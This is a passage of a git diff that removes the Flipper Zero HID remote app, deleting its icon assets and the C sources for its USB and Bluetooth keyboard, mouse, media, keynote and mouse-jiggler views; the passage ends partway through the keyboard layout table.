index fe16dc03e..000000000 Binary files a/applications/external/hid_app/assets/Pause_icon_9x9.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Pin_arrow_down_7x9.png b/applications/external/hid_app/assets/Pin_arrow_down_7x9.png deleted file mode 100644 index 9687397af..000000000 Binary files a/applications/external/hid_app/assets/Pin_arrow_down_7x9.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Pin_arrow_left_9x7.png b/applications/external/hid_app/assets/Pin_arrow_left_9x7.png deleted file mode 100644 index fb4ded78f..000000000 Binary files a/applications/external/hid_app/assets/Pin_arrow_left_9x7.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Pin_arrow_right_9x7.png b/applications/external/hid_app/assets/Pin_arrow_right_9x7.png deleted file mode 100644 index 97648d176..000000000 Binary files a/applications/external/hid_app/assets/Pin_arrow_right_9x7.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Pin_arrow_up_7x9.png b/applications/external/hid_app/assets/Pin_arrow_up_7x9.png deleted file mode 100644 index a91a6fd5e..000000000 Binary files a/applications/external/hid_app/assets/Pin_arrow_up_7x9.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Pin_back_arrow_10x10.png b/applications/external/hid_app/assets/Pin_back_arrow_10x10.png deleted file mode 100644 index e7510fd5d..000000000 Binary files a/applications/external/hid_app/assets/Pin_back_arrow_10x10.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Pin_back_arrow_10x8.png b/applications/external/hid_app/assets/Pin_back_arrow_10x8.png deleted file mode 100644 index 3bafabd14..000000000 Binary files a/applications/external/hid_app/assets/Pin_back_arrow_10x8.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Pressed_Button_13x13.png b/applications/external/hid_app/assets/Pressed_Button_13x13.png deleted file mode 100644 index 823926b84..000000000 Binary files a/applications/external/hid_app/assets/Pressed_Button_13x13.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Pressed_Button_19x19.png b/applications/external/hid_app/assets/Pressed_Button_19x19.png deleted file mode 100644 index 42a7dbdcc..000000000 Binary files a/applications/external/hid_app/assets/Pressed_Button_19x19.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Right_mouse_icon_9x9.png b/applications/external/hid_app/assets/Right_mouse_icon_9x9.png deleted file mode 100644 index 446d7176c..000000000 Binary files a/applications/external/hid_app/assets/Right_mouse_icon_9x9.png and /dev/null differ diff --git a/applications/external/hid_app/assets/S_DOWN_31x15.png b/applications/external/hid_app/assets/S_DOWN_31x15.png deleted file mode 100644 index eac667aa0..000000000 Binary files a/applications/external/hid_app/assets/S_DOWN_31x15.png and /dev/null differ diff --git a/applications/external/hid_app/assets/S_LEFT_15x31.png b/applications/external/hid_app/assets/S_LEFT_15x31.png deleted file mode 100644 index 13c9f51b4..000000000 Binary files a/applications/external/hid_app/assets/S_LEFT_15x31.png and /dev/null differ diff --git a/applications/external/hid_app/assets/S_RIGHT_15x31.png b/applications/external/hid_app/assets/S_RIGHT_15x31.png deleted file mode 100644 index e0ba2afd1..000000000 Binary files a/applications/external/hid_app/assets/S_RIGHT_15x31.png and /dev/null differ diff --git a/applications/external/hid_app/assets/S_UP_31x15.png b/applications/external/hid_app/assets/S_UP_31x15.png deleted file mode 100644 index e55a03624..000000000 Binary files a/applications/external/hid_app/assets/S_UP_31x15.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Space_60x18.png b/applications/external/hid_app/assets/Space_60x18.png deleted file mode 100644 index e29f50ae9..000000000 Binary files a/applications/external/hid_app/assets/Space_60x18.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Space_65x18.png b/applications/external/hid_app/assets/Space_65x18.png deleted file mode 100644 index b60ae5097..000000000 Binary files a/applications/external/hid_app/assets/Space_65x18.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Voldwn_6x6.png b/applications/external/hid_app/assets/Voldwn_6x6.png deleted file mode 100644 index ce487b546..000000000 Binary files a/applications/external/hid_app/assets/Voldwn_6x6.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Volup_8x6.png b/applications/external/hid_app/assets/Volup_8x6.png deleted file mode 100644 index ee9045f7f..000000000 Binary files a/applications/external/hid_app/assets/Volup_8x6.png and /dev/null differ diff --git a/applications/external/hid_app/hid.c b/applications/external/hid_app/hid.c deleted file mode 100644 index b6a866718..000000000 --- a/applications/external/hid_app/hid.c +++ /dev/null @@ -1,462 +0,0 @@ -#include "hid.h" -#include "views.h" -#include - -#define TAG "HidApp" - -enum HidDebugSubmenuIndex { - HidSubmenuIndexKeynote, - HidSubmenuIndexKeynoteVertical, - HidSubmenuIndexKeyboard, - HidSubmenuIndexNumpad, - HidSubmenuIndexMedia, - HidSubmenuIndexTikShorts, - HidSubmenuIndexMouse, - HidSubmenuIndexMouseClicker, - HidSubmenuIndexMouseJiggler, -}; - -static void hid_submenu_callback(void* context, uint32_t index) { - furi_assert(context); - Hid* app = context; - if(index == HidSubmenuIndexKeynote) { - app->view_id = HidViewKeynote; - hid_keynote_set_orientation(app->hid_keynote, false); - view_dispatcher_switch_to_view(app->view_dispatcher, HidViewKeynote); - } else if(index == HidSubmenuIndexKeynoteVertical) { - app->view_id = HidViewKeynote; - hid_keynote_set_orientation(app->hid_keynote, true); - view_dispatcher_switch_to_view(app->view_dispatcher, HidViewKeynote); - } else if(index == HidSubmenuIndexKeyboard) { - app->view_id = HidViewKeyboard; - view_dispatcher_switch_to_view(app->view_dispatcher, HidViewKeyboard); - } else if(index == HidSubmenuIndexNumpad) { - app->view_id = HidViewNumpad; - view_dispatcher_switch_to_view(app->view_dispatcher, HidViewNumpad); - } else if(index == HidSubmenuIndexMedia) { - app->view_id = HidViewMedia; - view_dispatcher_switch_to_view(app->view_dispatcher, HidViewMedia); - } else if(index == HidSubmenuIndexMouse) { - app->view_id = HidViewMouse; - view_dispatcher_switch_to_view(app->view_dispatcher, HidViewMouse); - } else if(index == HidSubmenuIndexTikShorts) { - app->view_id = BtHidViewTikShorts; - view_dispatcher_switch_to_view(app->view_dispatcher, BtHidViewTikShorts); - } else if(index == HidSubmenuIndexMouseClicker) { - app->view_id = HidViewMouseClicker; - view_dispatcher_switch_to_view(app->view_dispatcher, HidViewMouseClicker); - } else if(index == HidSubmenuIndexMouseJiggler) { - app->view_id = HidViewMouseJiggler; - view_dispatcher_switch_to_view(app->view_dispatcher, HidViewMouseJiggler); - } -} - -static void bt_hid_connection_status_changed_callback(BtStatus status, void* context) { - furi_assert(context); - Hid* hid = context; - bool connected = (status == BtStatusConnected); - if(hid->transport == HidTransportBle) { - if(connected) { - notification_internal_message(hid->notifications, &sequence_set_blue_255); - } else { - notification_internal_message(hid->notifications, &sequence_reset_blue); - } - } - hid_keynote_set_connected_status(hid->hid_keynote, connected); - hid_keyboard_set_connected_status(hid->hid_keyboard, connected); - hid_numpad_set_connected_status(hid->hid_numpad, connected); - hid_media_set_connected_status(hid->hid_media, connected); - hid_mouse_set_connected_status(hid->hid_mouse, connected); - hid_mouse_clicker_set_connected_status(hid->hid_mouse_clicker, connected); - hid_mouse_jiggler_set_connected_status(hid->hid_mouse_jiggler, connected); - hid_tikshorts_set_connected_status(hid->hid_tikshorts, connected); -} - -static void hid_dialog_callback(DialogExResult result, void* context) { - furi_assert(context); - Hid* app = context; - if(result == DialogExResultLeft) { - view_dispatcher_stop(app->view_dispatcher); - } else if(result == DialogExResultRight) { - view_dispatcher_switch_to_view(app->view_dispatcher, app->view_id); // Show last view - } else if(result == DialogExResultCenter) { - view_dispatcher_switch_to_view(app->view_dispatcher, HidViewSubmenu); - } -} - -static uint32_t hid_exit_confirm_view(void* context) { - UNUSED(context); - return HidViewExitConfirm; -} - -static uint32_t hid_exit(void* context) { - UNUSED(context); - return VIEW_NONE; -} - -Hid* hid_alloc(HidTransport transport) { - Hid* app = malloc(sizeof(Hid)); - app->transport = transport; - - // Gui - app->gui = furi_record_open(RECORD_GUI); - - // Bt - app->bt = furi_record_open(RECORD_BT); - - // Notifications - app->notifications = furi_record_open(RECORD_NOTIFICATION); - - // View dispatcher - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - // Device Type Submenu view - app->device_type_submenu = submenu_alloc(); - submenu_add_item( - app->device_type_submenu, "Keynote", HidSubmenuIndexKeynote, hid_submenu_callback, app); - submenu_add_item( - app->device_type_submenu, - "Keynote Vertical", - HidSubmenuIndexKeynoteVertical, - hid_submenu_callback, - app); - submenu_add_item( - app->device_type_submenu, "Keyboard", HidSubmenuIndexKeyboard, hid_submenu_callback, app); - submenu_add_item( - app->device_type_submenu, "Numpad", HidSubmenuIndexNumpad, hid_submenu_callback, app); - submenu_add_item( - app->device_type_submenu, "Media", HidSubmenuIndexMedia, hid_submenu_callback, app); - submenu_add_item( - app->device_type_submenu, "Mouse", HidSubmenuIndexMouse, hid_submenu_callback, app); - if(app->transport == HidTransportBle) { - submenu_add_item( - app->device_type_submenu, - "TikTok / YT Shorts", - HidSubmenuIndexTikShorts, - hid_submenu_callback, - app); - } - submenu_add_item( - app->device_type_submenu, - "Mouse Clicker", - HidSubmenuIndexMouseClicker, - hid_submenu_callback, - app); - submenu_add_item( - app->device_type_submenu, - "Mouse Jiggler", - HidSubmenuIndexMouseJiggler, - hid_submenu_callback, - app); - view_set_previous_callback(submenu_get_view(app->device_type_submenu), hid_exit); - view_dispatcher_add_view( - app->view_dispatcher, HidViewSubmenu, submenu_get_view(app->device_type_submenu)); - app->view_id = HidViewSubmenu; - view_dispatcher_switch_to_view(app->view_dispatcher, app->view_id); - return app; -} - -Hid* hid_app_alloc_view(void* context) { - furi_assert(context); - Hid* app = context; - // Dialog view - app->dialog = dialog_ex_alloc(); - dialog_ex_set_result_callback(app->dialog, hid_dialog_callback); - dialog_ex_set_context(app->dialog, app); - dialog_ex_set_left_button_text(app->dialog, "Exit"); - dialog_ex_set_right_button_text(app->dialog, "Stay"); - dialog_ex_set_center_button_text(app->dialog, "Menu"); - dialog_ex_set_header(app->dialog, "Close Current App?", 16, 12, AlignLeft, AlignTop); - view_dispatcher_add_view( - app->view_dispatcher, HidViewExitConfirm, dialog_ex_get_view(app->dialog)); - - // Keynote view - app->hid_keynote = hid_keynote_alloc(app); - view_set_previous_callback(hid_keynote_get_view(app->hid_keynote), hid_exit_confirm_view); - view_dispatcher_add_view( - app->view_dispatcher, HidViewKeynote, hid_keynote_get_view(app->hid_keynote)); - - // Keyboard view - app->hid_keyboard = hid_keyboard_alloc(app); - view_set_previous_callback(hid_keyboard_get_view(app->hid_keyboard), hid_exit_confirm_view); - view_dispatcher_add_view( - app->view_dispatcher, HidViewKeyboard, hid_keyboard_get_view(app->hid_keyboard)); - - //Numpad keyboard view - app->hid_numpad = hid_numpad_alloc(app); - view_set_previous_callback(hid_numpad_get_view(app->hid_numpad), hid_exit_confirm_view); - view_dispatcher_add_view( - app->view_dispatcher, HidViewNumpad, hid_numpad_get_view(app->hid_numpad)); - - // Media view - app->hid_media = hid_media_alloc(app); - view_set_previous_callback(hid_media_get_view(app->hid_media), hid_exit_confirm_view); - view_dispatcher_add_view( - app->view_dispatcher, HidViewMedia, hid_media_get_view(app->hid_media)); - - // TikTok / YT Shorts view - app->hid_tikshorts = hid_tikshorts_alloc(app); - view_set_previous_callback(hid_tikshorts_get_view(app->hid_tikshorts), hid_exit_confirm_view); - view_dispatcher_add_view( - app->view_dispatcher, BtHidViewTikShorts, hid_tikshorts_get_view(app->hid_tikshorts)); - - // Mouse view - app->hid_mouse = hid_mouse_alloc(app); - view_set_previous_callback(hid_mouse_get_view(app->hid_mouse), hid_exit_confirm_view); - view_dispatcher_add_view( - app->view_dispatcher, HidViewMouse, hid_mouse_get_view(app->hid_mouse)); - - // Mouse clicker view - app->hid_mouse_clicker = hid_mouse_clicker_alloc(app); - view_set_previous_callback( - hid_mouse_clicker_get_view(app->hid_mouse_clicker), hid_exit_confirm_view); - view_dispatcher_add_view( - app->view_dispatcher, - HidViewMouseClicker, - hid_mouse_clicker_get_view(app->hid_mouse_clicker)); - - // Mouse jiggler view - app->hid_mouse_jiggler = hid_mouse_jiggler_alloc(app); - view_set_previous_callback( - hid_mouse_jiggler_get_view(app->hid_mouse_jiggler), hid_exit_confirm_view); - view_dispatcher_add_view( - app->view_dispatcher, - HidViewMouseJiggler, - hid_mouse_jiggler_get_view(app->hid_mouse_jiggler)); - - return app; -} - -void hid_free(Hid* app) { - furi_assert(app); - - // Reset notification - if(app->transport == HidTransportBle) { - notification_internal_message(app->notifications, &sequence_reset_blue); - } - - // Free views - view_dispatcher_remove_view(app->view_dispatcher, HidViewSubmenu); - submenu_free(app->device_type_submenu); - view_dispatcher_remove_view(app->view_dispatcher, HidViewExitConfirm); - dialog_ex_free(app->dialog); - view_dispatcher_remove_view(app->view_dispatcher, HidViewKeynote); - hid_keynote_free(app->hid_keynote); - view_dispatcher_remove_view(app->view_dispatcher, HidViewKeyboard); - hid_keyboard_free(app->hid_keyboard); - view_dispatcher_remove_view(app->view_dispatcher, HidViewNumpad); - hid_numpad_free(app->hid_numpad); - view_dispatcher_remove_view(app->view_dispatcher, HidViewMedia); - hid_media_free(app->hid_media); - view_dispatcher_remove_view(app->view_dispatcher, HidViewMouse); - hid_mouse_free(app->hid_mouse); - view_dispatcher_remove_view(app->view_dispatcher, HidViewMouseClicker); - hid_mouse_clicker_free(app->hid_mouse_clicker); - view_dispatcher_remove_view(app->view_dispatcher, HidViewMouseJiggler); - hid_mouse_jiggler_free(app->hid_mouse_jiggler); - view_dispatcher_remove_view(app->view_dispatcher, BtHidViewTikShorts); - hid_tikshorts_free(app->hid_tikshorts); - view_dispatcher_free(app->view_dispatcher); - - // Close records - furi_record_close(RECORD_GUI); - app->gui = NULL; - furi_record_close(RECORD_NOTIFICATION); - app->notifications = NULL; - furi_record_close(RECORD_BT); - app->bt = NULL; - - // Free rest - free(app); -} - -void hid_hal_keyboard_press(Hid* instance, uint16_t event) { - furi_assert(instance); - if(instance->transport == HidTransportBle) { - furi_hal_bt_hid_kb_press(event); - } else if(instance->transport == HidTransportUsb) { - furi_hal_hid_kb_press(event); - } else { - furi_crash(NULL); - } -} - -void hid_hal_keyboard_release(Hid* instance, uint16_t event) { - furi_assert(instance); - if(instance->transport == HidTransportBle) { - furi_hal_bt_hid_kb_release(event); - } else if(instance->transport == HidTransportUsb) { - furi_hal_hid_kb_release(event); - } else { - furi_crash(NULL); - } -} - -void hid_hal_keyboard_release_all(Hid* instance) { - furi_assert(instance); - if(instance->transport == HidTransportBle) { - furi_hal_bt_hid_kb_release_all(); - } else if(instance->transport == HidTransportUsb) { - furi_hal_hid_kb_release_all(); - } else { - furi_crash(NULL); - } -} - -void hid_hal_consumer_key_press(Hid* instance, uint16_t event) { - furi_assert(instance); - if(instance->transport == HidTransportBle) { - furi_hal_bt_hid_consumer_key_press(event); - } else if(instance->transport == HidTransportUsb) { - furi_hal_hid_consumer_key_press(event); - } else { - furi_crash(NULL); - } -} - -void hid_hal_consumer_key_release(Hid* instance, uint16_t event) { - furi_assert(instance); - if(instance->transport == HidTransportBle) { - furi_hal_bt_hid_consumer_key_release(event); - } else if(instance->transport == HidTransportUsb) { - furi_hal_hid_consumer_key_release(event); - } else { - furi_crash(NULL); - } -} - -void hid_hal_consumer_key_release_all(Hid* instance) { - furi_assert(instance); - if(instance->transport == HidTransportBle) { - furi_hal_bt_hid_consumer_key_release_all(); - } else if(instance->transport == HidTransportUsb) { - furi_hal_hid_kb_release_all(); - } else { - furi_crash(NULL); - } -} - -void hid_hal_mouse_move(Hid* instance, int8_t dx, int8_t dy) { - furi_assert(instance); - if(instance->transport == HidTransportBle) { - furi_hal_bt_hid_mouse_move(dx, dy); - } else if(instance->transport == HidTransportUsb) { - furi_hal_hid_mouse_move(dx, dy); - } else { - furi_crash(NULL); - } -} - -void hid_hal_mouse_scroll(Hid* instance, int8_t delta) { - furi_assert(instance); - if(instance->transport == HidTransportBle) { - furi_hal_bt_hid_mouse_scroll(delta); - } else if(instance->transport == HidTransportUsb) { - furi_hal_hid_mouse_scroll(delta); - } else { - furi_crash(NULL); - } -} - -void hid_hal_mouse_press(Hid* instance, uint16_t event) { - furi_assert(instance); - if(instance->transport == HidTransportBle) { - furi_hal_bt_hid_mouse_press(event); - } else if(instance->transport == HidTransportUsb) { - furi_hal_hid_mouse_press(event); - } else { - furi_crash(NULL); - } -} - -void hid_hal_mouse_release(Hid* instance, uint16_t event) { - furi_assert(instance); - if(instance->transport == HidTransportBle) { - furi_hal_bt_hid_mouse_release(event); - } else if(instance->transport == HidTransportUsb) { - furi_hal_hid_mouse_release(event); - } else { - furi_crash(NULL); - } -} - -void hid_hal_mouse_release_all(Hid* instance) { - furi_assert(instance); - if(instance->transport == HidTransportBle) { - furi_hal_bt_hid_mouse_release_all(); - } else if(instance->transport == HidTransportUsb) { - furi_hal_hid_mouse_release(HID_MOUSE_BTN_LEFT); - furi_hal_hid_mouse_release(HID_MOUSE_BTN_RIGHT); - } else { - furi_crash(NULL); - } -} - -int32_t hid_usb_app(void* p) { - UNUSED(p); - Hid* app = hid_alloc(HidTransportUsb); - app = hid_app_alloc_view(app); - FuriHalUsbInterface* usb_mode_prev = furi_hal_usb_get_config(); - furi_hal_usb_unlock(); - furi_check(furi_hal_usb_set_config(&usb_hid, NULL) == true); - - bt_hid_connection_status_changed_callback(BtStatusConnected, app); - - view_dispatcher_run(app->view_dispatcher); - - furi_hal_usb_set_config(usb_mode_prev, NULL); - - hid_free(app); - - return 0; -} - -int32_t hid_ble_app(void* p) { - UNUSED(p); - Hid* app = hid_alloc(HidTransportBle); - app = hid_app_alloc_view(app); - - bt_disconnect(app->bt); - - // Wait 2nd core to update nvm storage - furi_delay_ms(200); - - // Migrate data from old sd-card folder - Storage* storage = furi_record_open(RECORD_STORAGE); - - storage_common_migrate( - storage, - EXT_PATH("apps/Tools/" HID_BT_KEYS_STORAGE_NAME), - APP_DATA_PATH(HID_BT_KEYS_STORAGE_NAME)); - - bt_keys_storage_set_storage_path(app->bt, APP_DATA_PATH(HID_BT_KEYS_STORAGE_NAME)); - - furi_record_close(RECORD_STORAGE); - - if(!bt_set_profile(app->bt, BtProfileHidKeyboard)) { - FURI_LOG_E(TAG, "Failed to switch to HID profile"); - } - - furi_hal_bt_start_advertising(); - bt_set_status_changed_callback(app->bt, bt_hid_connection_status_changed_callback, app); - - view_dispatcher_run(app->view_dispatcher); - - bt_set_status_changed_callback(app->bt, NULL, NULL); - - bt_disconnect(app->bt); - - // Wait 2nd core to update nvm storage - furi_delay_ms(200); - - bt_keys_storage_set_default_path(app->bt); - - if(!bt_set_profile(app->bt, BtProfileSerial)) { - FURI_LOG_E(TAG, "Failed to switch to Serial profile"); - } - - hid_free(app); - - return 0; -} diff --git a/applications/external/hid_app/hid.h b/applications/external/hid_app/hid.h deleted file mode 100644 index 3899c860a..000000000 --- a/applications/external/hid_app/hid.h +++ /dev/null @@ -1,69 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include "views/hid_keynote.h" -#include "views/hid_keyboard.h" -#include "views/hid_numpad.h" -#include "views/hid_media.h" -#include "views/hid_mouse.h" -#include "views/hid_mouse_jiggler.h" -#include "views/hid_tikshorts.h" -#include "views/hid_mouse_clicker.h" - -#define HID_BT_KEYS_STORAGE_NAME ".bt_hid.keys" - -typedef enum { - HidTransportUsb, - HidTransportBle, -} HidTransport; - -typedef struct Hid Hid; - -struct Hid { - Bt* bt; - Gui* gui; - NotificationApp* notifications; - ViewDispatcher* view_dispatcher; - Submenu* device_type_submenu; - DialogEx* dialog; - HidKeynote* hid_keynote; - HidKeyboard* hid_keyboard; - HidNumpad* hid_numpad; - HidMedia* hid_media; - HidMouse* hid_mouse; - HidMouseClicker* hid_mouse_clicker; - HidMouseJiggler* hid_mouse_jiggler; - HidTikShorts* hid_tikshorts; - - HidTransport transport; - uint32_t view_id; -}; - -void hid_hal_keyboard_press(Hid* instance, uint16_t event); -void hid_hal_keyboard_release(Hid* instance, uint16_t event); -void hid_hal_keyboard_release_all(Hid* instance); - -void hid_hal_consumer_key_press(Hid* instance, uint16_t event); -void hid_hal_consumer_key_release(Hid* instance, uint16_t event); -void hid_hal_consumer_key_release_all(Hid* instance); - -void hid_hal_mouse_move(Hid* instance, int8_t dx, int8_t dy); -void hid_hal_mouse_scroll(Hid* instance, int8_t delta); -void hid_hal_mouse_press(Hid* instance, uint16_t event); -void hid_hal_mouse_release(Hid* instance, uint16_t event); -void hid_hal_mouse_release_all(Hid* instance); diff --git a/applications/external/hid_app/hid_ble_10px.png b/applications/external/hid_app/hid_ble_10px.png deleted file mode 100644 index d4d30afe0..000000000 Binary files a/applications/external/hid_app/hid_ble_10px.png and /dev/null differ diff --git a/applications/external/hid_app/hid_usb_10px.png b/applications/external/hid_app/hid_usb_10px.png deleted file mode 100644 index 7649138eb..000000000 Binary files a/applications/external/hid_app/hid_usb_10px.png and /dev/null differ diff --git a/applications/external/hid_app/views.h b/applications/external/hid_app/views.h deleted file mode 100644 index 1f1536486..000000000 --- a/applications/external/hid_app/views.h +++ /dev/null @@ -1,12 +0,0 @@ -typedef enum { - HidViewSubmenu, - HidViewKeynote, - HidViewKeyboard, - HidViewNumpad, - HidViewMedia, - HidViewMouse, - HidViewMouseClicker, - HidViewMouseJiggler, - BtHidViewTikShorts, - HidViewExitConfirm, -} HidView; diff --git a/applications/external/hid_app/views/hid_keyboard.c b/applications/external/hid_app/views/hid_keyboard.c deleted file mode 100644 index 1ce0285b2..000000000 --- a/applications/external/hid_app/views/hid_keyboard.c +++ /dev/null @@ -1,411 +0,0 @@ -#include "hid_keyboard.h" -#include -#include -#include -#include "../hid.h" -#include "hid_icons.h" - -#define TAG "HidKeyboard" - -struct HidKeyboard { - View* view; - Hid* hid; -}; - -typedef struct { - bool shift; - bool alt; - bool ctrl; - bool gui; - uint8_t x; - uint8_t y; - uint8_t last_key_code; - uint16_t modifier_code; - bool ok_pressed; - bool back_pressed; - bool connected; - char key_string[5]; - HidTransport transport; -} HidKeyboardModel; - -typedef struct { - uint8_t width; - char* key; - const Icon* icon; - char* shift_key; - uint8_t value; -} HidKeyboardKey; - -typedef struct { - int8_t x; - int8_t y; -} HidKeyboardPoint; -// 4 BY 12 -#define MARGIN_TOP 0 -#define MARGIN_LEFT 4 -#define KEY_WIDTH 9 -#define KEY_HEIGHT 12 -#define KEY_PADDING 1 -#define ROW_COUNT 7 -#define COLUMN_COUNT 12 - -// 0 width items are not drawn, but there value is used -const HidKeyboardKey hid_keyboard_keyset[ROW_COUNT][COLUMN_COUNT] = { - { - {.width = 1, .icon = &I_ButtonF1_5x8, .value = HID_KEYBOARD_F1}, - {.width = 1, .icon = &I_ButtonF2_5x8, .value = HID_KEYBOARD_F2}, - {.width = 1, .icon = &I_ButtonF3_5x8, .value = HID_KEYBOARD_F3}, - {.width = 1, .icon = &I_ButtonF4_5x8, .value = HID_KEYBOARD_F4}, - {.width = 1, .icon = &I_ButtonF5_5x8, .value = HID_KEYBOARD_F5}, - {.width = 1, .icon = &I_ButtonF6_5x8, .value = HID_KEYBOARD_F6}, - {.width = 1, .icon = &I_ButtonF7_5x8, .value = HID_KEYBOARD_F7}, - {.width = 1, .icon = &I_ButtonF8_5x8, .value = HID_KEYBOARD_F8}, - {.width = 1, .icon = &I_ButtonF9_5x8, .value = HID_KEYBOARD_F9}, - {.width = 1, .icon = &I_ButtonF10_5x8, .value = HID_KEYBOARD_F10}, - {.width = 1, .icon = &I_ButtonF11_5x8, .value = HID_KEYBOARD_F11}, - {.width = 1, .icon = &I_ButtonF12_5x8, .value = HID_KEYBOARD_F12}, - }, - { - {.width = 1, .icon = NULL, .key = "1", .shift_key = "!", .value = HID_KEYBOARD_1}, - {.width = 1, .icon = NULL, .key = "2", .shift_key = "@", .value = HID_KEYBOARD_2}, - {.width = 1, .icon = NULL, .key = "3", .shift_key = "#", .value = HID_KEYBOARD_3}, - {.width = 1, .icon = NULL, .key = "4", .shift_key = "$", .value = HID_KEYBOARD_4}, - {.width = 1, .icon = NULL, .key = "5", .shift_key = "%", .value = HID_KEYBOARD_5}, - {.width = 1, .icon = NULL, .key = "6", .shift_key = "^", .value = HID_KEYBOARD_6}, - {.width = 1, .icon = NULL, .key = "7", .shift_key = "&", .value = HID_KEYBOARD_7}, - {.width = 1, .icon = NULL, .key = "8", .shift_key = "*", .value = HID_KEYBOARD_8}, - {.width = 1, .icon = NULL, .key = "9", .shift_key = "(", .value = HID_KEYBOARD_9}, - {.width = 1, .icon = NULL, .key = "0", .shift_key = ")", .value = HID_KEYBOARD_0}, - {.width = 2, .icon = &I_Pin_arrow_left_9x7, .value = HID_KEYBOARD_DELETE}, - {.width = 0, .value = HID_KEYBOARD_DELETE}, - }, - { - {.width = 1, .icon = NULL, .key = "q", .shift_key = "Q", .value = HID_KEYBOARD_Q}, - {.width = 1, .icon = NULL, .key = "w", .shift_key = "W", .value = HID_KEYBOARD_W}, - {.width = 1, .icon = NULL, .key = "e", .shift_key = "E", .value = HID_KEYBOARD_E}, - {.width = 1, .icon = NULL, .key = "r", .shift_key = "R", .value = HID_KEYBOARD_R}, - {.width = 1, .icon = NULL, .key = "t", .shift_key = "T", .value = HID_KEYBOARD_T}, - {.width = 1, .icon = NULL, .key = "y", .shift_key = "Y", .value = HID_KEYBOARD_Y}, - {.width = 1, .icon = NULL, .key = "u", .shift_key = "U", .value = HID_KEYBOARD_U}, - {.width = 1, .icon = NULL, .key = "i", .shift_key = "I", .value = HID_KEYBOARD_I}, - {.width = 1, .icon = NULL, .key = "o", .shift_key = "O", .value = HID_KEYBOARD_O}, - {.width = 1, .icon = NULL, .key = "p", .shift_key = "P", .value = HID_KEYBOARD_P}, - {.width = 1, .icon = NULL, .key = "[", .shift_key = "{", .value = HID_KEYBOARD_OPEN_BRACKET}, - {.width = 1, - .icon = NULL, - .key = "]", - .shift_key = "}", - .value = HID_KEYBOARD_CLOSE_BRACKET}, - }, - { - {.width = 1, .icon = NULL, .key = "a", .shift_key = "A", .value = HID_KEYBOARD_A}, - {.width = 1, .icon = NULL, .key = "s", .shift_key = "S", .value = HID_KEYBOARD_S}, - {.width = 1, .icon = NULL, .key = "d", .shift_key = "D", .value = HID_KEYBOARD_D}, - {.width = 1, .icon = NULL, .key = "f", .shift_key = "F", .value = HID_KEYBOARD_F}, - {.width = 1, .icon = NULL, .key = "g", .shift_key = "G", .value = HID_KEYBOARD_G}, - {.width = 1, .icon = NULL, .key = "h", .shift_key = "H", .value = HID_KEYBOARD_H}, - {.width = 1, .icon = NULL, .key = "j", .shift_key = "J", .value = HID_KEYBOARD_J}, - {.width = 1, .icon = NULL, .key = "k", .shift_key = "K", .value = HID_KEYBOARD_K}, - {.width = 1, .icon = NULL, .key = "l", .shift_key = "L", .value = HID_KEYBOARD_L}, - {.width = 1, .icon = NULL, .key = ";", .shift_key = ":", .value = HID_KEYBOARD_SEMICOLON}, - {.width = 2, .icon = &I_Pin_arrow_right_9x7, .value = HID_KEYBOARD_RETURN}, - {.width = 0, .value = HID_KEYBOARD_RETURN}, - }, - { - {.width = 1, .icon = NULL, .key = "z", .shift_key = "Z", .value = HID_KEYBOARD_Z}, - {.width = 1, .icon = NULL, .key = "x", .shift_key = "X", .value = HID_KEYBOARD_X}, - {.width = 1, .icon = NULL, .key = "c", .shift_key = "C", .value = HID_KEYBOARD_C}, - {.width = 1, .icon = NULL, .key = "v", .shift_key = "V", .value = HID_KEYBOARD_V}, - {.width = 1, .icon = NULL, .key = "b", .shift_key = "B", .value = HID_KEYBOARD_B}, - {.width = 1, .icon = NULL, .key = "n", .shift_key = "N", .value = HID_KEYBOARD_N}, - {.width = 1, .icon = NULL, .key = "m", .shift_key = "M", .value = HID_KEYBOARD_M}, - {.width = 1, .icon = NULL, .key = "/", .shift_key = "?", .value = HID_KEYBOARD_SLASH}, - {.width = 1, .icon = NULL, .key = "\\", .shift_key = "|", .value = HID_KEYBOARD_BACKSLASH}, - {.width = 1, .icon = NULL, .key = "`", .shift_key = "~", .value = HID_KEYBOARD_GRAVE_ACCENT}, - {.width = 1, .icon = &I_ButtonUp_7x4, .value = HID_KEYBOARD_UP_ARROW}, - {.width = 1, .icon = NULL, .key = "-", .shift_key = "_", .value = HID_KEYBOARD_MINUS}, - }, - { - {.width = 1, .icon = &I_Pin_arrow_up_7x9, .value = HID_KEYBOARD_L_SHIFT}, - {.width = 1, .icon = NULL, .key = ",", .shift_key = "<", .value = HID_KEYBOARD_COMMA}, - {.width = 1, .icon = NULL, .key = ".", .shift_key = ">", .value = HID_KEYBOARD_DOT}, - {.width = 4, .icon = NULL, .key = " ", .value = HID_KEYBOARD_SPACEBAR}, - {.width = 0, .value = HID_KEYBOARD_SPACEBAR}, - {.width = 0, .value = HID_KEYBOARD_SPACEBAR}, - {.width = 0, .value = HID_KEYBOARD_SPACEBAR}, - {.width = 1, .icon = NULL, .key = "'", .shift_key = "\"", .value = HID_KEYBOARD_APOSTROPHE}, - {.width = 1, .icon = NULL, .key = "=", .shift_key = "+", .value = HID_KEYBOARD_EQUAL_SIGN}, - {.width = 1, .icon = &I_ButtonLeft_4x7, .value = HID_KEYBOARD_LEFT_ARROW}, - {.width = 1, .icon = &I_ButtonDown_7x4, .value = HID_KEYBOARD_DOWN_ARROW}, - {.width = 1, .icon = &I_ButtonRight_4x7, .value = HID_KEYBOARD_RIGHT_ARROW}, - }, - { - {.width = 2, .icon = &I_KB_key_Ctl_17x10, .value = HID_KEYBOARD_L_CTRL}, - {.width = 0, .icon = NULL, .value = HID_KEYBOARD_L_CTRL}, - {.width = 2, .icon = 